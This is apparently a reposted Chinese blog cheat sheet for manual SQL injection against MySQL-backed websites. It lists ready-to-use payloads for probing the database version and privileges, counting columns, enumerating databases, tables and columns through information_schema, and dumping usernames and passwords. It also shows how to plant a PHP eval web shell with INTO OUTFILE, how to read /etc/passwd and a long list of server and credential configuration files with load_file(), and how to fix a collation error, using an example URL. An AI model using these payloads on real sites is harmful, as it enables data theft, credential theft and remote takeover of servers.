- and ord(mid(version(),1,1))>51
- 解释1: 确认数据库版本 51是ASCII码3 正确则>4.0 错误则<4.0,当版本大于3.0时才能使用union方法;
- 解释2:ord()是mysql的函数用于获取二进制码;
- 解释3:mid()是mysql的函数用于截位操作;
- 解释4:version()是mysql的函数用于获取当前数据库的版本;
- union select 1,1,1,****1,1
- 解释:联合功能,用于试探当前sql查询结果返回的字段数;
- order by 13
- 解释:排序功能,根据查询结果中的第几个字段数做排序,试探当前sql查询返回的字段数
- union select 1,2,3,4,****11,12,13 from admin
- union select 1,version(),3,*** 13 from admin
- union select 1,username,3,*** 13 from admin
- union select 1,username,3,*** 13 from admin where id=2
- and ord(mid(user(),1,1))=144
- and 1=1 union select 1,2,3,4,5…….n
- and 1=2 union select 1,2,3,4,5…..n
- version() database() user()
- 不用猜解可用字段暴数据库信息(有些网站不适用):
- and 1=2 union all select version()
- and 1=2 union all select database()
- and 1=2 union all select user()
- and 1=2 union all select @@global.version_compile_os from mysql.user
- and ord(mid(user(),1,1))=114
- 解释:获取数据库权限,若返回正常说明为root权限
- and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
- 解释:暴库 (mysql>5.0)Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
- and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)
- and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
- and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
- Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
- 直接写马(Root权限)
- 条件1:知道站点物理路径
- 条件2:有足够大的权限(可以用select …. from mysql.user测试)
- 条件3:magic_quotes_gpc()=OFF select ‘<?php eval($_POST[cmd])?>' into outfile ‘物理路径' and 1=2 union all select 一句话HEX值 into outfile '路径'
- load_file() 常用路径:
- replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
- replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
- 解释:上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
- load_file(char(47))
- 解释:可以列出FreeBSD,Sunos系统根目录
- /etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf
- 解释:查看linux APACHE虚拟主机配置文件
- c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf
- c:/Resin-3.0.14/conf/resin.conf
- 解释:查看jsp开发的网站 resin文件配置信息
- c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf
- d:\APACHE\Apache2\conf\httpd.conf
- C:\Program Files\mysql\my.ini
- ../themes/darkblue_orange/layout.inc.php phpmyadmin
- c:\windows\system32\inetsrv\MetaBase.xml
- /usr/local/resin-3.0.22/conf/resin.conf
- /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
- /usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
- /etc/sysconfig/iptables
- usr/local/app/php5 b/php.ini
- /etc/my.cnf
- /etc/redhat-release
- C:\mysql\data\mysql\user.MYD
- /etc/sysconfig/network-scripts/ifcfg-eth0
- /usr/local/app/php5 b/php.ini
- /usr/local/app/apache2/conf/extra tpd-vhosts.conf
- C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
- c:\windows\my.ini
- c:\boot.ini
- 网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))
- 注:Char(60)表示 <,Char(32)表示 空格
- 手工注射时出现的问题:
- 当注射后页面显示:Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
- 如:http://www.www.myhack58.com/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20,这是由于前后编码不一致造成的,解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:http://www.www.myhack58.com/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20,既可以继续注射了。
- 转载自:https://blog.csdn.net/boer521314/article/details/47945745
posted @
2018-09-05 23:54
尼布芝稻
阅读(
2655)
评论()
编辑
收藏
举报